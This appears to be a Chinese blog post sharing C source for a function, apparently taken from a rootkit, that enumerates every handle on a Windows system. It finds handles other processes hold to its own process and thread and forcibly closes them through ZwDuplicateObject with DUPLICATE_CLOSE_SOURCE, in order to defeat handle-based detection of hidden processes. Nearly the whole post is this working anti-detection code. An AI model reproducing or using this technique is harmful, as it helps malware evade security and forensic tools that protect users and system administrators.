抹掉所有进程中自己的句柄(源代码)

     之前听过一个检测进程的想法，就是暴力枚举所有进程中的handle,查找其中类型为PROCESS的．此法也被炉子牛用于他的LzOpenProcess()．下面我就写了一断代码来对抗这个方法，纯属小伎俩，牛牛们飘过～严格说，此段代码不算原创，是从某rootkit的bin中扒出来的，因此基本保留其原貌，经我修改测试，主要函数如下：

<textarea cols="84" rows="79" name="code" class="cpp">void CloseAllmyHandles() { HANDLE hCurProcess,hSouceProcessHandle,hTargetHandle; HANDLE hMyProcess=INVALID_HANDLE_VALUE,hMyThread=INVALID_HANDLE_VALUE; DWORD pid,nBufferLen=0x40000,nRetnLen=0; DWORD HandleCnt,NumberOfHandles; DWORD pMyProcessObject = 0,pMyThreadObject = 0,pObject; CLIENT_ID myCid,tmpCid; PVOID pBuffer = NULL; NTSTATUS status; OBJECT_ATTRIBUTES ObjectAttributes; myCid.UniqueProcess =(HANDLE)my_GetProcessId(); myCid.UniqueThread=(HANDLE)my_GetThreadId(); InitializeObjectAttributes( &amp;ObjectAttributes, NULL, 0, NULL, NULL ); ZwOpenProcess(&amp;hMyProcess, PROCESS_ALL_ACCESS, &amp;ObjectAttributes, &amp;myCid); ZwOpenThread(&amp;hMyThread, PROCESS_ALL_ACCESS, &amp;ObjectAttributes, &amp;myCid); printf("hMyProcess:0x%08x/n",hMyProcess); printf("hMyThread :0x%08x/n",hMyThread); hCurProcess = GetCurrentProcess(); status=ZwAllocateVirtualMemory(hCurProcess, &amp;pBuffer, 0, &amp;nBufferLen, MEM_COMMIT,PAGE_READWRITE); if (!NT_SUCCESS(status)) { printf("Alloc Memory failed./n"); return; } printf("Alloced Buffer:0x%08X/n",pBuffer); ZwQuerySystemInformation(SystemHandleInformation, pBuffer, nBufferLen, &amp;nRetnLen);// 16=SystemHandleInformation printf("Searching handles.../n"); HandleCnt=*(DWORD *)pBuffer; printf("Handle Count:%d/n",HandleCnt); if (HandleCnt&gt;1) { NumberOfHandles=*(DWORD*)pBuffer; pHandleInfo=(PSYSTEM_HANDLE_TABLE_ENTRY_INFO)((char*)pBuffer+sizeof(DWORD)); do { //printf("HandleValue:0x%08X/n",pHandleInfo-&gt;HandleValue); if ( pHandleInfo-&gt;HandleValue==(USHORT)hMyThread ) { if (pHandleInfo-&gt;UniqueProcessId == (USHORT)myCid.UniqueProcess ) { pMyThreadObject = *(DWORD*)&amp;(pHandleInfo-&gt;Object); printf("Thread finded/n"); } } if (pHandleInfo-&gt;HandleValue==(USHORT)hMyProcess ) { if (pHandleInfo-&gt;UniqueProcessId == (USHORT)myCid.UniqueProcess) { pMyProcessObject =*(DWORD*)&amp;(pHandleInfo-&gt;Object); printf("Process finded/n"); } } ++pHandleInfo; --NumberOfHandles; } while ( NumberOfHandles ); } ZwClose(hMyThread); ZwClose(hMyProcess); printf("Found my object ok./nBegin Search and Close.../n"); NumberOfHandles=HandleCnt; if (HandleCnt&gt;=1 ) { 　　pHandleInfo=(PSYSTEM_HANDLE_TABLE_ENTRY_INFO)((char*)pBuffer+sizeof(DWORD)); do { pObject = *(DWORD*)&amp;(pHandleInfo-&gt;Object); if ( pMyProcessObject == pObject || pMyThreadObject == pObject ) { printf("Found Handle=0x%08X OwnerPID=%4d/n",pHandleInfo-&gt;HandleValue,pHandleInfo-&gt;UniqueProcessId); tmpCid.UniqueProcess= (HANDLE)pHandleInfo-&gt;UniqueProcessId; tmpCid.UniqueThread=0; InitializeObjectAttributes(&amp;ObjectAttributes, NULL, 0, NULL, NULL ); status=ZwOpenProcess(&amp;hSouceProcessHandle, PROCESS_DUP_HANDLE, &amp;ObjectAttributes, &amp;tmpCid); //PrintZwError("ZwOpenProcess",status); if (!status) { status=ZwDuplicateObject( hSouceProcessHandle, (void*)pHandleInfo-&gt;HandleValue, hCurProcess, &amp;hTargetHandle, 0, 0, DUPLICATE_CLOSE_SOURCE); if ( !status) { ZwClose(hTargetHandle); printf("Handle closed!/n"); } //PrintZwError("ZwDuplicateObject",status); ZwClose(hSouceProcessHandle); } } ++pHandleInfo; --NumberOfHandles; } while ( NumberOfHandles ); } ZwFreeVirtualMemory(hCurProcess, &amp;pBuffer, &amp;nBufferLen, MEM_RELEASE); }</textarea>